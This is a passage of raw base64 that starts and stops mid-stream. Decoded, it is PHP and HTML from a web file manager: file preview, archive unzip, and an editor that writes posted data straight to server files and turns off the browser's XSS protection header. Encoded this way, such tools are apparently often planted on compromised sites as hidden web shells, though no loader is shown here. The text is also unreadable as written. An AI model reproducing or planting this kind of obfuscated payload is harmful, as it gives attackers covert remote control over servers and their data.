lwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHsKICAgICAgICAkaXNfdGV4dCA9IHRydWU7CiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKICAgIH0KCiAgICA/PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICA8P3BocCBpZighJHF1aWNrVmlldykgeyA/PgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxiPjw/cGhwIGVjaG8gJHZpZXdfdGl0bGUgPz4gIjw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz4iPC9iPjwvcD4KICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4KICAgICAgICAgICAgICAgICAgICBGdWxsIHBhdGg6IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlX3BhdGgpKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICBGaWxlCiAgICAgICAgICAgICAgICAgICAgc2l6ZTogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplKSA/Pjw/cGhwIGlmICgkZmlsZXNpemUgPj0gMTAwMCk6ID8+ICg8P3BocCBlY2hvIHNwcmludGYoJyVzIGJ5dGVzJywgJGZpbGVzaXplKSA/Pik8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgTUlNRS10eXBlOiA8P3BocCBlY2hvICRtaW1lX3R5cGUgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAvLyBaSVAgaW5mbwogICAgICAgICAgICAgICAgICAgIGlmICgoJGlzX3ppcCB8fCAkaXNfZ3ppcCkgJiYgJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2ZpbGVzID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2NvbXAgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGZuWydmb2xkZXInXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcysrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2NvbXAgKz0gJGZuWydjb21wcmVzc2VkX3NpemUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF91bmNvbXAgKz0gJGZuWydmaWxlc2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgIEZpbGVzIGluIGFyY2hpdmU6IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICBUb3RhbCBzaXplOiA8P3BocCBlY2hvIGZtX2dldF9maWxlc2l6ZSgkdG90YWxfdW5jb21wKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgU2l6ZSBpbiBhcmNoaXZlOiA8P3BocCBlY2hvIGZtX2dldF9maWxlc2l6ZSgkdG90YWxfY29tcCkgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIENvbXByZXNzaW9uOiA8P3BocCBlY2hvIHJvdW5kKCgkdG90YWxfY29tcCAvICR0b3RhbF91bmNvbXApICogMTAwKSA/PiU8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIC8vIEltYWdlIGluZm8KICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpbWFnZV9zaXplID0gZ2V0aW1hZ2VzaXplKCRmaWxlX3BhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdJbWFnZSBzaXplczogJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPGJyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIC8vIFRleHQgaW5mbwogICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCkgewogICAgICAgICAgICAgICAgICAgICAgICAkaXNfdXRmOCA9IGZtX2lzX3V0ZjgoJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc191dGY4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NoYXJzZXQ6ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPGJyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtY2xvdWQtZG93bmxvYWQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz48L2E+PC9iPiAmbmJzcDsKICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWV4dGVybmFsLWxpbmstc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48L2E+PC9iPgogICAgICAgICAgICAgICAgICAgICZuYnNwOwogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgLy8gWklQIGFjdGlvbnMKICAgICAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7CiAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1bnppcD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwJykgPz48L2E+PC9iPiAmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO3VuemlwPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZhbXA7dG9mb2xkZXI9MSIgdGl0bGU9IlVuWmlwIHRvIDw/cGhwIGVjaG8gZm1fZW5jKCR6aXBfbmFtZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnVW5aaXBUb0ZvbGRlcicpID8+PC9hPjwvYj4gJm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+IiBjbGFzcz0iZWRpdC1maWxlIj48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+PC9iPiAmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+JmVudj1hY2UiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJlZGl0LWZpbGUiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkRWRpdG9yJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48L2I+ICZubmJzcDsKICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjwvYT48L2I+CiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCRpc19vbmxpbmVWaWV3ZXIpIHsKICAgICAgICAgICAgICAgIGlmKCRvbmxpbmVfdmlld2VyID09ICdnb29nbGUnKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9Imh0dHBzOi8vZG9jcy5nb29nbGUuY29tL3ZpZXdlcj9lbWJlZGRlZD10cnVlJmhsPWVuJnVybD0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBmcmFtZWJvcmRlcj0ibm8iIHN0eWxlPSJ3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NDYwcHgiPjwvaWZyYW1lPic7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoJG9ubGluZV92aWV3ZXIgPT0gJ21pY3Jvc29mdCcpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz0iaHR0cHM6Ly92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb20vb3AvZW1iZWQuYXNweD9zcmM9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgewogICAgICAgICAgICAgICAgLy8gWklQIGNvbnRlbnQKICAgICAgICAgICAgICAgIGlmICgkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZuWyduYW1lJ10gLiAnICgnIC4gZm1fZ2V0X2ZpbGVzaXplKCRmblsnZmlsZXNpemUnXSkgLiAnKTxicj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY29kZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD5FcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm88L3A+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlaWYgKCRpc19pbWFnZSkgewogICAgICAgICAgICAgICAgLy8gSW1hZ2UgY29udGVudAogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJykpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+PGltZyBzcmM9IicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGFsdD0iIiBjbGFzcz0icHJldmlldy1pbWciPjwvcD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7CiAgICAgICAgICAgICAgICAvLyBBdWRpbyBjb250ZW50CiAgICAgICAgICAgICAgICBlY2hvICc8cD48YXVkaW8gc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBjb250cm9scyBwcmVsb2FkPSJtZXRhZGF0YSI+PC9hdWRpbz48L3A+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKCRpc192aWRlbykgewogICAgICAgICAgICAgICAgLy8gVmlkZW8gY29udGVudAogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0icHJldmlldy12aWRlbyI+PHZpZGVvIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgd2lkdGg9IjY0MCIgaGVpZ2h0PSIzNjAiIGNvbnRyb2xzIHByZWxvYWQ9Im1ldGFkYXRhIj48L3ZpZGVvPjwvZGl2Pic7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdGV4dCkgewogICAgICAgICAgICAgICAgaWYgKEZNX1VTRV9ISUdITElHSFRKUykgewogICAgICAgICAgICAgICAgICAgIC8vIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ3NodG1sJyA9PiAneG1sJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzJyA9PiAnYXBhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2xvY2snID0+ICdqc29uJywKICAgICAgICAgICAgICAgICAgICAgICAgJ3N2ZycgPT4gJ3htbCcsCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9IGlzc2V0KCRobGpzX2NsYXNzZXNbJGV4dF0pID8gJ2xhbmctJyAuICRobGpzX2NsYXNzZXNbJGV4dF0gOiAnbGFuZy0nIC4gJGV4dDsKICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGV4dCkgfHwgaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksIGZtX2dldF90ZXh0X25hbWVzKCkpIHx8IHByZWdfbWF0Y2goJyNcLm1pblwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3MgPSAnbm9oaWdobGlnaHQnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPSJ3aXRoLWhsanMiPjxjb2RlIGNsYXNzPSInIC4gJGhsanNfY2xhc3MgLiAnIj4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8L2NvZGU+PC9wcmU+JzsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgncGhwJywgJ3BocDQnLCAncGhwNScsICdwaHRtbCcsICdwaHBzJykpKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gcGhwIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmU+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPC9wcmU+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGlmKCEkcXVpY2tWaWV3KSB7CiAgICAgICAgZm1fc2hvd19mb290ZXIoKTsKICAgIH0KICAgIGV4aXQ7Cn0KCi8vIGZpbGUgZWRpdG9yCmlmIChpc3NldCgkX0dFVFsnZWRpdCddKSkgewogICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOwogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlLCBmYWxzZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgbm90IGZvdW5kJywgJ2Vycm9yJyk7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7CiAgICB9CiAgICBoZWFkZXIoJ1gtWFNTLVByb3RlY3Rpb246MCcpOwogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlKTsKICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOwoKICAgIC8vIG5vcm1hbCBlZGl0ZXIKICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7CiAgICBpZiAoaXNzZXQoJF9HRVRbJ2VudiddKSkgewogICAgICAgIGlmICgkX0dFVFsnZW52J10gPT0gImFjZSIpIHsKICAgICAgICAgICAgJGlzTm9ybWFsRWRpdG9yID0gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFNhdmUgRmlsZQogICAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZWRhdGEnXSkpIHsKICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydzYXZlZGF0YSddOwogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7CiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOwogICAgICAgIGZjbG9zZSgkZmQpOwogICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5Jyk7CiAgICB9CgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTsKICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpOwogICAgJGlzX3RleHQgPSBmYWxzZTsKICAgICRjb250ZW50ID0gJyc7IC8vIGZvciB0ZXh0CgogICAgaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgewogICAgICAgICRpc190ZXh0ID0gdHJ1ZTsKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgfQoKICAgID8+CiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTUgY29sLWxnLTYgcHQtMSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tdG9vbGJhciIgcm9sZT0idG9vbGJhciI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXNOb3JtYWxFZGl0b3IpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGpzLWFjZS10b29sYmFyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9Im5vbmUiIGRhdGEtb3B0aW9uPSJmdWxsc2NyZWVuIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtZnVsbHNjcmVlbiIgdGl0bGU9IkZ1bGxzY3JlZW4iPjxpIGNsYXNzPSJmYSBmYS1leHBhbmQiIHRpdGxlPSJGdWxsc2NyZWVuIj48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJmaW5kIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2Utc2VhcmNoIiB0aXRsZT0iU2VhcmNoIj48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIiB0aXRsZT0iU2VhcmNoIj48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJ1bmRvIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtdW5kbyIgdGl0bGU9IlVuZG8iPjxpIGNsYXNzPSJmYSBmYS11bmRvIiB0aXRsZT0iVW5kbyI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0icmVkbyIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXJlZG8iIHRpdGxlPSJSZWRvIj48aSBjbGFzcz0iZmEgZmEtcmVwZWF0IiB0aXRsZT0iUmVkbyI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0ibm9uZSIgZGF0YS1vcHRpb249IndyYXAiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS13b3JkV3JhcCIgdGl0bGU9IldvcmQgV3JhcCI+PGkgY2xhc3M9ImZhIGZhLXRleHQtd2lkdGgiIHRpdGxlPSJXb3JkIFdyYXAiPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9Im5vbmUiIGRhdGEtb3B0aW9uPSJoZWxwIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtZ29MaW5lIiB0aXRsZT0iSGVscCI+PGkgY2xhc3M9ImZhIGZhLXF1ZXN0aW9uIiB0aXRsZT0iSGVscCI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLW1vZGUiIGRhdGEtdHlwZT0ibW9kZSIgdGl0bGU9IlNlbGVjdCBEb2N1bWVudCBUeXBlIiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1sZWZ0LTAgZC1ub25lIGQtbWQtYmxvY2siPjxvcHRpb24+LS0gU2VsZWN0IE1vZGUgLS08L29wdGlvbj48L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9ImpzLWFjZS10aGVtZSIgZGF0YS10eXBlPSJ0aGVtZSIgdGl0bGU9IlNlbGVjdCBUaGVtZSIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItbGVmdC0wIGQtbm9uZSBkLWxnLWJsb2NrIj48b3B0aW9uPi0tIFNlbGVjdCBUaGVtZSAtLTwvb3B0aW9uPjwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLWZvbnRTaXplIiBkYXRhLXR5cGU9ImZvbnRTaXplIiB0aXRsZT0iU2VsY3QgRm9udCBTaXplIiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1sZWZ0LTAgZC1ub25lIGQtbGctYmxvY2siPjxvcHRpb24+LS0gU2VsZWN0IEZvbnQgU2l6ZSAtLTwvb3B0aW9uPjwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXQtZmlsZS1hY3Rpb25zIGNvbC14cy0xMiBjb2wtc20tNyBjb2wtbGctNiB0ZXh0LXJpZ2h0IHB0LTEiPgogICAgICAgICAgICAgICAgPGEgdGl0bGU9IkJhY2siIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDt2aWV3PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXJlcGx5LWFsbCI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPgogICAgICAgICAgICAgICAgPGEgdGl0bGU9IkJhY2t1cCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpIj48aSBjbGFzcz0iZmEgZmEtZGF0YWJhc2UiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2tVcCcpID8+PC9hPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc190ZXh0KSB7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iQWR2YW5jZWQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZhbXA7ZW52PWFjZSI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkgbmFtZT0iU2F2ZSIgZGF0YS11cmw9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIG9uY2xpY2s9ImVkaXRfc2F2ZSh0aGlzLCducmwnKSI+PGkg